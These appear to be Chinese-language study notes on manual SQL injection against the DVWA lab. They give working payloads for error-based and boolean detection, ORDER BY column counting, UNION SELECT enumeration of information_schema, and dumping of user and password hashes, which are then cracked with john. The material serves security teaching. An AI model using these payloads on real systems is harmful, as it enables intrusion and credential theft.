SQL手工注入(一)
SQL注入:通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。【SQL注入原理】
##服務端程序將用戶輸入參數作為查詢條件,直接拼接SQL語句,並將查詢結果返回給客戶端瀏覽器
用戶登錄判斷
SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘ 【OR:邏輯運算符,(password假)''或''('1'='1'真)】
SQL注入存在位置
表單、GET方式的URL
SQL檢測方法
1、基於報錯的檢測方法(low)
' (單引號)
'' (嘗試兩個單引號)【結果:兩兩閉合】
#'a"b (單引號+a+雙引號+b)
#'a"b' (單引號+a+雙引號+b+')
則證明可以構造復雜的SQL語句進行注入
"
%
()
2、基於布爾的檢測
First: 1' and '1'='1 等於 1' and '1 【猜測語句:select first_name,surname from users where id=' 1' and '1'='1 ' 】
Second: 1' and '1'='2 等於 1' and '0 【若無返回結果,則可驗證上猜測語句】
3、表列數/顯示信息位於哪一列
' order by 9-- (單引號+order by +空格+ 數字【該數字用於指定字段,可以填大而后猜確切列數】+ --+空格【一定要注意有空格,否則會語法錯誤 --:為注釋】)
構造select語句
4、聯合查詢【為了在過濾的單引號后面,再運行查詢語句】
union與union all 作用基本完全相同
First:' union select 1,2-- 【確定查詢后結果在頁面中出現位置】
Second:1' union select user(),2-- 【1替換成一個數據庫默認函數user() 查詢數據庫用戶】
' union select user(),version()-- 【將2替換成函數version() 查詢版本】
database() 查詢數據庫名稱
全局函數:@@datadir 查詢數據庫的文件位置
@@hostname 查詢主機名
@@version_compile_os 查詢操作系統版本
構造復雜的SQL語句
' union select database(),substring_index(USER(),"@",1)--
為方便查看指令,使用火狐插件hackbug,使用F9調出
繞過一些過濾不嚴的機制
CHAR() 將ASCII碼轉換為對應字符
連接字符
CONCAT_WS() 將多個函數連接在一起
計算MD5 【可用於使用別人的服務器資源來為自己做大量的數據運算】
了解數據庫的數據結構
MySQL:所有的元數據都保存在一張元數據表【information_schema】
1、查看所有庫所有表/統計庫中表的數量
' union select table_name,table_schema from information_schema.tables--+ [所有庫所有表]
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- [統計每個庫中表的數量]
2、 Dvwa庫中的表名 【一個參數漏洞,也可造成拖庫】
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+ 【通過表名猜測賬號密碼存放位置】
3、查詢users表中所有的列(user_id、first_name、last_name、user、password、avatar)
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
4、查詢user、password列中的內容
' union select user,password from dvwa.users--+
' union select user,password from users--+
' union select null, concat(user,0x3a,password) from users--+ 【concat:連接,需指定分隔符】
5、密碼破解
猜測密碼算法:hash-identifier
username:passhash ——> dvwa.txt 【將賬號:密碼整理成一個文本文件】
工具:
john --format=raw-MD5 dvwa.txt